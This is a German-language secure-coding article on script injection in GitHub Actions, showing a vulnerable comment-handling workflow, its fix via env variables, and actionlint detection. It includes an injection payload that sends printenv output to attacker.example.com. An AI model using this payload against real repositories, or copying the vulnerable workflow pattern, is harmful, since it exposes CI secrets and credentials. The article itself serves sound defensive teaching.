GitHub Actions sind aus modernen CI/CD-Pipelines nicht mehr wegzudenken. Doch eine häufig übersehene Schwachstelle kann dazu führen, dass ein einfacher PR-Kommentar beliebige Befehle auf dem Runner ausführt – inklusive Zugriff auf Secrets.
Das Problem: Direkte Interpolation von User-Input
GitHub Actions Workflows unterstützen Ausdrücke der Form ${{ ... }}, mit denen zur Laufzeit Werte eingesetzt werden. Das Problem entsteht, wenn dieser Mechanismus mit Benutzereingaben kombiniert wird.
Betrachten wir folgenden Workflow:
name: "github.event.comment.body"
on:
issue_comment:
types: [created]
jobs:
handle_comment:
runs-on: ubuntu-latest
steps:
- name: Get body
run: |
echo "${{ github.event.comment.body }}"
Auf den ersten Blick wirkt das harmlos. Tatsächlich ist es eine klassische Script Injection-Schwachstelle.
Warum ist das gefährlich?
GitHub Actions führt Template-Substitution durch, bevor der Shell-Befehl ausgeführt wird. Der Wert von ${{ github.event.comment.body }} wird also direkt als Text in das Shell-Skript eingebettet.
Das bedeutet: Wer einen Kommentar unter einem Issue oder Pull Request schreiben kann, kann beliebigen Shell-Code in den Runner injizieren.
Angriffs-Payload
Ein Angreifer kommentiert einfach folgendes unter einem Issue:
"; ls -al; echo "
Was auf dem Runner tatsächlich ausgeführt wird, ist dann:
echo ""; ls -al; echo ""

Das lässt sich beliebig erweitern. Mit einem Payload wie:
"; curl https://attacker.example.com/?s=$(printenv | base64 -w0); echo "
werden sämtliche Umgebungsvariablen – inklusive aller als env: oder secrets: gesetzten Werte – an einen externen Server exfiltriert. Secrets wie GITHUB_TOKEN, AWS-Credentials oder API-Keys sind damit kompromittiert.
Die Lösung: Wert über eine Umgebungsvariable übergeben
Die korrekte Lösung ist denkbar einfach: Den unsicheren Wert nicht direkt in den run-Block interpolieren, sondern ihn über eine Umgebungsvariable übergeben.
steps:
- name: Get body
env:
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
echo "$COMMENT_BODY"
Hier übernimmt GitHub Actions die sichere Übergabe: Der Wert landet als Umgebungsvariable im Prozess, ohne jemals als Shell-Code interpretiert zu werden. Sonderzeichen wie ", ; oder $() haben dort keine Wirkung.

Die Regel
Alle ${{ ... }}-Ausdrücke, die auf externe oder Benutzereingaben zurückgehen, gehören ausschließlich in den env:-Block – niemals direkt in run:.
Zu den besonders häufig betroffenen Ausdrücken gehören:
github.event.comment.bodygithub.event.issue.title / .bodygithub.event.pull_request.title / .body / .head.refgithub.head_ref
Schwachstellen automatisch finden: actionlint
Das Tool actionlint analysiert Workflow-Dateien statisch und erkennt diese Klasse von Problemen zuverlässig. Es lässt sich ohne Installation direkt per Docker ausführen:
docker run --rm -v $(pwd):/repo --workdir /repo rhysd/actionlint:latest -color
Für den unsicheren Workflow von oben gibt actionlint folgende Ausgabe:
.github/workflows/github_event_comment_body.yml:19:24: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details [expression]
actionlint sollte Teil jeder CI-Pipeline sein, die GitHub Actions-Workflows pflegt.
Zusammenfassung
Script Injection über GitHub-Kontextausdrücke ist eine der am häufigsten übersehenen Schwachstellen in GitHub Actions. Die gute Nachricht: Sie lässt sich mit einer minimalen Änderung im Workflow und einem statischen Analysetool vollständig vermeiden.
